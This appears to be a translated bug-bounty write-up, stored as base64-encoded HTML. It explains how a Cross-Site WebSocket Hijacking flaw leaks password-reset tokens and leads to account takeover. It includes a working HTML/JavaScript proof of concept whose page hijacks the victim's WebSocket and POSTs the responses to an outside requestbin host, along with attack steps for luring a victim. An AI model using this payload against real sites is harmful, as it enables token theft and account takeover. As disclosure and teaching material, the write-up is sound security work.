利用WebSocket跨站劫持（CSWH）漏洞接管帐户

PGRpdiBjbGFzcz0ic2ltZGl0b3ItYm9keSI+PHAgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPjxpbWcgYWx0PSIyMi5wbmciIHNyYz0iaHR0cHM6Ly9ub3NlYy5vcmcvYXZhdGFyL3VwbG9hZHMvYXR0YWNoL2ltYWdlLzBjYTE3NjE5YWMxOGJlYmE0NjAxNTc0YzdlNGU5ZTY4LzIyLnBuZyIgd2lkdGg9IjQyMSIgLz48YnIvPjwvcD48cD7lnKjkuIDmrKHmvI/mtJ7mgqzotY/mtLvliqjkuK3vvIzmiJHlj5HnjrDkuobkuIDkuKrkvb/nlKhXZWJTb2NrZXTov57mjqXnmoTlupTnlKjvvIzmiYDku6XmiJHmo4Dmn6XkuoZXZWJTb2NrZXQgVVJM77yM5Y+R546w5a6D5b6I5a655piT5Y+X5YiwQ1NXSOeahOaUu+WHu++8iFdlYlNvY2tldOi3qOermeWKq+aMge+8iTwvcD48cD7mnInlhbNDU1dI55qE5pu05aSa6K+m57uG5L+h5oGv77yM5Y+v5Lul6K6/6Zeu5Lul5LiL6ZO+5o6l5LqG6KejPC9wPjxwcmU+aHR0cHM6Ly93d3cuY2hyaXN0aWFuLXNjaG5laWRlci5uZXQvQ3Jvc3NTaXRlV2ViU29ja2V0SGlqYWNraW5nLmh0bWw8L3ByZT48cD7pppblhYjvvIzmiJHku6zlgYforr7kuIDkuKrlupTnlKjmmK/pgJrov4fku6XkuItVUkzlu7rnq4t3ZWJzb2NrZXTov57mjqXnmoQgPGNvZGU+d3NzOi8vd2Vic2l0ZS5jb208L2NvZGU+44CC5YWz5LqO6aqM6K+BVVJM5piv5ZCm5a2Y5ZyoQ1NXSOa8j+a0nuWPr+S7pemBteW+quS7peS4i+atpemqpO+8mjwvcD48b2w+PGxpPjxwPuWcqOa1j+iniOWZqOS4iuaJk+W8gFdlYuW6lOeUqOW5tueZu+W9leOAgjwvcD48L2xpPjxsaT48cD7lnKjmlrDpgInpobnljaHkuK3ovpPlhaU8Y29kZT48YSBocmVmPSJodHRwOi8vd2Vic29ja2V0Lm9yZy9lY2hvLmh0bWwiPmh0dHA6Ly93ZWJzb2NrZXQub3JnL2VjaG8uaHRtbDwvYT48L2NvZGU+77yM6L6T5YWlV2ViU29ja2V0IFVSTOW5tuWNleWHu+KAnOi/nuaOpeKAneOAgjwvcD48L2xpPjxsaT48cD7lu7rnq4vov57mjqXlkI7vvIzkvaDlv4Xpobvog73lpJ/ku47mraTpobXpnaLlkJHmnI3liqHlmajlj5HpgIHmlbDmja7luKfjgILmjqXnnYDvvIzkvb/nlKhidXJwc3VpdGXnmoRwcm94eeaNleiOt3dlYnNvY2tldOaVsOaNruW4p+i/m+ihjOiwg+ivle+8jOWkmuasoeWPkemAge+8jOafpeeci+acjeWKoeWZqOWmguS9leWTjeW6lOOAguWmguaenGJ1cnDnmoTlm57lupTlkoznvZHpobXnmoTlm57lupTkuIDmoLfvvIzliJnooajnpLrnm67moIflvojlj6/og73lrrnmmJPlj5fliLBXZWJTb2NrZXTot6jnq5nliqvmjIHnmoTmlLvlh7s8L3A+PC9saT48L29sPjxwIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Ij48aW1nIGFsdD0iMzMucG5nIiBzcmM9Imh0dHBzOi8vbm9zZWMub3JnL2F2YXRhci91cGxvYWRzL2F0dGFjaC9pbWFnZS82MGZjNzJjOGJjOGUyY2Y0ZjU0ZWVmOWE1MzcwNDJmNy8zMy5wbmciIHdpZHRoPSI3OTAiIC8+PGJyLz48L3A+PHA+6YCa6L+H5Lul5LiK5q2l6aqk77yM5oiR56Gu5a6a5bqU55So5a2Y5ZyoQ1NXSOa8j+a0nuOAgjwvcD48cD7kuIDml6blnKjmlrDpgInpobnljaHkuIrlu7rnq4vkuoZXZWJTb2NrZXTov57mjqXvvIzmiJHlsLHmlLbliLDkuobkuIvpnaLnmoR3ZWJzb2NrZXTlk43lupQ8L3A+PHAgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPjxpbWcgYWx0PSI0NC5wbmciIHNyYz0iaHR0cHM6Ly9ub3NlYy5vcmcvYXZhdGFyL3VwbG9hZHMvYXR0YWNoL2ltYWdlLzA1YmJhZTU3ZTNjYjdmZTNhZDYxZTRiMGFiNTdmNzIxLzQ0LnBuZyIgd2lkdGg9IjcxMSIgLz48YnIvPjwvcD48cD7ku47kuIrov7Dlk43lupTkuK3kvaDlj6/nnIvliLDvvIzlj4LmlbDigJxfZm9yZ290UGFzc3dvcmRJZOKAneeahOWAvOS4uuKAnG51bGzigJ3jgII8L3A+PHA+546w5Zyo5oiR6ZyA6KaB4oCcX2ZvcmdvdFBhc3N3b3JkSWTigJ3lj4LmlbDmnaXlj5HpgIHmgbbmhI/or7fmsYLmnaXph43nva7lr4bnoIHjgII8L3A+PHAgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPjxpbWcgYWx0PSI1NS5wbmciIHNyYz0iaHR0cHM6Ly9ub3NlYy5vcmcvYXZhdGFyL3VwbG9hZHMvYXR0YWNoL2ltYWdlLzRmMTQ2OWMwNDRlYmQyODdhNTU1ODdiZWU4ZTQ5Mjk5LzU1LnBuZyIgd2lkdGg9IjcxOSIgLz48YnIvPjwvcD48cD7miJHlho3mrKHmtYvor5XkuoZXZWJzb2NrZXTov57mjqXvvIzov5nmrKHop4Llr5/liLDkuoblpoLkuIvlm57lupTvvIzlroPljIXlkKvkuIDkuKpmb3JnZXRQYXNzd29yZElE5Luk54mMPC9wPjxwIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Ij48aW1nIGFsdD0iNjYucG5nIiBzcmM9Imh0dHBzOi8vbm9zZWMub3JnL2F2YXRhci91cGxvYWRzL2F0dGFjaC9pbWFnZS9iY2FlOGIyMGVmYzE1YmY1ZDUwMDIyYzhkNDBkZjZhMi82Ni5wbmciIHdpZHRoPSI3MTkiIC8+PGJyLz48L3A+PGgyPuWIqeeUqDwvaDI+PHA+546w5Zyo5YeG5aSHQ1NXSOa8j+a0nueahOWIqeeUqOmTvu+8jOmHjee9ruWvhueggeaOpeeuoeW4kOaIt+OAguS7peS4i+eUsUhUTUzku6PnoIHnu4TmiJDnmoRwYXlsb2Fk5Lya5Y+R6YCBWEhS6K+35rGC77yM5bm25oqK5Zue5bqU5a+85ZCR5pS75Ye76ICF5o6n5Yi255qE56uZ54K544CCPC9wPjxwcmU+PCEtLSZuYnNwO1JlZmVyZW5jZSZuYnNwO2h0dHA6Ly93d3cud2Vic29ja2V0Lm9yZy9lY2hvLmh0bWwmbmJzcDstLT4KPCFET0NUWVBFJm5ic3A7aHRtbD4KJm5ic3A7Jm5ic3A7PG1lJm5ic3A7dGEmbmJzcDtjaGFyc2V0PSJ1dGYtOCImbmJzcDsvPgombmJzcDsmbmJzcDs8dGl0bGU+VGVzdGluZzwvdGl0bGU+CiZuYnNwOyZuYnNwOzxzYyZuYnNwO3JpcHQmbmJzcDtsYW5ndWFnZT0iamEmbmJzcDt2YXNjJm5ic3A7cmlwdCImbmJzcDt0eXBlPSJ0ZXh0L2phJm5ic3A7dmFzYyZuYnNwO3JpcHQiPgombmJzcDsmbmJzcDt2YXImbmJzcDt3c1VyaSZuYnNwOz0mbmJzcDsid3NzOi8vaG9zdC5jb20iOwombmJzcDsmbmJzcDt2YXImbmJzcDtvdXRwdXQ7CiZuYnNwOyZuYnNwO2Z1bmN0aW9uJm5ic3A7aW5pdCgpCiZuYnNwOyZuYnNwO3sKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7b3V0cHV0Jm5ic3A7PSZuYnNwO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJvdXRwdXQiKTsKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7dGVzdFdlYlNvY2tldCgpOwombmJzcDsmbmJzcDt9CiZuYnNwOyZuYnNwO2Z1bmN0aW9uJm5ic3A7dGVzdFdlYlNvY2tldCgpCiZuYnNwOyZuYnNwO3sKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7d2Vic29ja2V0Jm5ic3A7PSZuYnNwO25ldyZuYnNwO1dlYlNvY2tldCh3c1VyaSk7CiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwO3dlYnNvY2tldC5vbm9wZW4mbmJzcDs9Jm5ic3A7ZnVuY3Rpb24oZXZ0KSZuYnNwO3smbmJzcDtvbk9wZW4oZXZ0KSZuYnNwO307CiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwO3dlYnNvY2tldC5vbmNsb3NlJm5ic3A7PSZuYnNwO2Z1bmN0aW9uKGV2dCkmbmJzcDt7Jm5ic3A7b25DbG9zZShldnQpJm5ic3A7fTsKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7d2Vic29ja2V0Lm9ubWVzc2FnZSZuYnNwOz0mbmJzcDtmdW5jdGlvbihldnQpJm5ic3A7eyZuYnNwO29uTWVzc2FnZShldnQpJm5ic3A7fTsKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7d2Vic29ja2V0Lm9uJm5ic3A7ZXJyb3ImbmJzcDs9Jm5ic3A7ZnVuY3Rpb24oZXZ0KSZuYnNwO3smbmJzcDtvbiZuYnNwO2Vycm9yKGV2dCkmbmJzcDt9OwombmJzcDsmbmJzcDt9CiZuYnNwOyZuYnNwO2Z1bmN0aW9uJm5ic3A7b25PcGVuKGV2dCkKJm5ic3A7Jm5ic3A7ewombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDt3cml0ZVRvU2NyZWVuKCJDT05ORUNURUQiKTsKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7ZG9TZW5kKCd3ZWJzb2NrZXQmbmJzcDtmciZuYnNwO2FtZSZuYnNwOycpOwombmJzcDsmbmJzcDt9CiZuYnNwOyZuYnNwO2Z1bmN0aW9uJm5ic3A7b25DbG9zZShldnQpCiZuYnNwOyZuYnNwO3sKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7d3JpdGVUb1NjcmVlbigiRElTQ09OTkVDVEVEIik7CiZuYnNwOyZuYnNwO30KJm5ic3A7Jm5ic3A7ZnVuY3Rpb24mbmJzcDtvbk1lc3NhZ2UoZXZ0KQombmJzcDsmbmJzcDt7Cgp2YXImbmJzcDt4aHImbmJzcDs9Jm5ic3A7bmV3Jm5ic3A7eG0mbmJzcDtsSHR0cFJlcXVlc3QoKTsKeGhyLm9wZW4oIlBPU1QiLCZuYnNwOyJodHRwOi8vcmVxdWVzdGJpbi5mdWxsY29udGFjdC5jb20vMTE0M24ydzEiLCZuYnNwO3RydWUpOwp4aHIuc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC1UeXBlIiwmbmJzcDsiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkOyZuYnNwO2NoYXJzZXQ9VVRGLTgiKTsKeGhyLnNlbmQoZXZ0LmRhdGEpOwombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDt3ZWJzb2NrZXQuY2xvc2UoKTsKJm5ic3A7Jm5ic3A7fQombmJzcDsmbmJzcDtmdW5jdGlvbiZuYnNwO29uJm5ic3A7ZXJyb3IoZXZ0KQombmJzcDsmbmJzcDt7CiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwO3dyaXRlVG9TY3JlZW4oJzxzcGFuJm5ic3A7c3R5bGU9ImNvbG9yOiZuYnNwO3JlZDsiPkVSUk9SOjwvc3Bhbj4mbmJzcDsnJm5ic3A7KyZuYnNwO2V2dC5kYXRhKTsKJm5ic3A7Jm5ic3A7fQombmJzcDsmbmJzcDtmdW5jdGlvbiZuYnNwO2RvU2VuZChtZXNzYWdlKQombmJzcDsmbmJzcDt7CiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwO3dyaXRlVG9TY3JlZW4oIlNFTlQ6Jm5ic3A7IiZuYnNwOysmbmJzcDttZXNzYWdlKTsKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7d2Vic29ja2V0LnNlbmQobWVzc2FnZSk7CiZuYnNwOyZuYnNwO30KJm5ic3A7Jm5ic3A7ZnVuY3Rpb24mbmJzcDt3cml0ZVRvU2NyZWVuKG1lc3NhZ2UpCiZuYnNwOyZuYnNwO3sKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7dmFyJm5ic3A7cHJlJm5ic3A7PSZuYnNwO2RvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInAiKTsKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7cHJlLnN0eWxlLndvcmRXcmFwJm5ic3A7PSZuYnNwOyJicmVhay13b3JkIjsKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7cHJlLmlubmVySFRNTCZuYnNwOz0mbmJzcDttZXNzYWdlOwombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDtvdXRwdXQuYXBwZW5kQ2hpbGQocHJlKTsKJm5ic3A7Jm5ic3A7fQombmJzcDsmbmJzcDt3aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcigibG9hZCIsJm5ic3A7aW5pdCwmbmJzcDtmYWxzZSk7CiZuYnNwOyZuYnNwOzwvc2MmbmJzcDtyaXB0PgoKJm5ic3A7Jm5ic3A7PGgyPldlYlNvY2tldCZuYnNwO1Rlc3Q8L2gyPgoKJm5ic3A7Jm5ic3A7PGRpJm5ic3A7diZuYnNwO2lkPSJvdXRwdXQiPjwvZGkmbmJzcDt2PjwvcHJlPjxoMj7mlLvlh7vmraXpqqQ8L2gyPjxvbD48bGk+5Yip55So4oCc5b+Y6K6w5a+G56CB4oCd6aG16Z2i77yM5Y+R6YCB5Y+X5a6z6ICF5biQ5oi355qE5a+G56CB6YeN572u6K+35rGCPC9saT48bGk+5omY566h5Lul5LiKaHRtbOWIsOWFrOe9kee9keermeS4iu+8jOW5tuWQkeWPl+Wus+iAheWPkemAgei/meS4qlVSTO+8iOexu+S8vOS6jkNTUkbmlLvlh7vvvIk8L2xpPjxsaT7kuIDml6blj5flrrPogIXngrnlh7tVUkzvvIzlsLHlj6/ku6XlnKjnm5HlkKzlmajkuIrlvpfliLB3ZWJzb2NrZXTlk43lupTvvIzlpoLkuIvlm77miYDnpLo8L2xpPjwvb2w+PHAgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPjxpbWcgYWx0PSI3Ny5wbmciIHNyYz0iaHR0cHM6Ly9ub3NlYy5vcmcvYXZhdGFyL3VwbG9hZHMvYXR0YWNoL2ltYWdlLzQ1ZGE4MjEwNmE5YmFlNmFiMTc5M2I0NWFkNTZmZTVmLzc3LnBuZyIgd2lkdGg9Ijc5MCIgLz48YnIvPjwvcD48cD7mi6XmnInov5nkuKrigJxmb3Jnb3RQYXNzd29yZElE4oCd5Luk54mM77yM5oiR5Lus5bCx5Y+v5Lul6YeN572u5Y+X5a6z6ICF5a+G56CB44CCPC9wPjxwcmU+5pys5paH55Sx55m95bi95rGH5pW055CG5bm257+76K+R77yM5LiN5Luj6KGo55m95bi95rGH5Lu75L2V6KeC54K55ZKM56uL5Zy6Cuadpea6kO+8mmh0dHBzOi8vbWVkaXVtLmNvbS9Ac2hhcmFuLnBhbmVnYXYvYWNjb3VudC10YWtlb3Zlci11c2luZy1jcm9zcy1zaXRlLXdlYnNvY2tldC1oaWphY2tpbmctY3N3aC05OWNmOWNlYTZjNTA8L3ByZT4KICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7PC9kaXY+PHA+PGJyLz48L3A+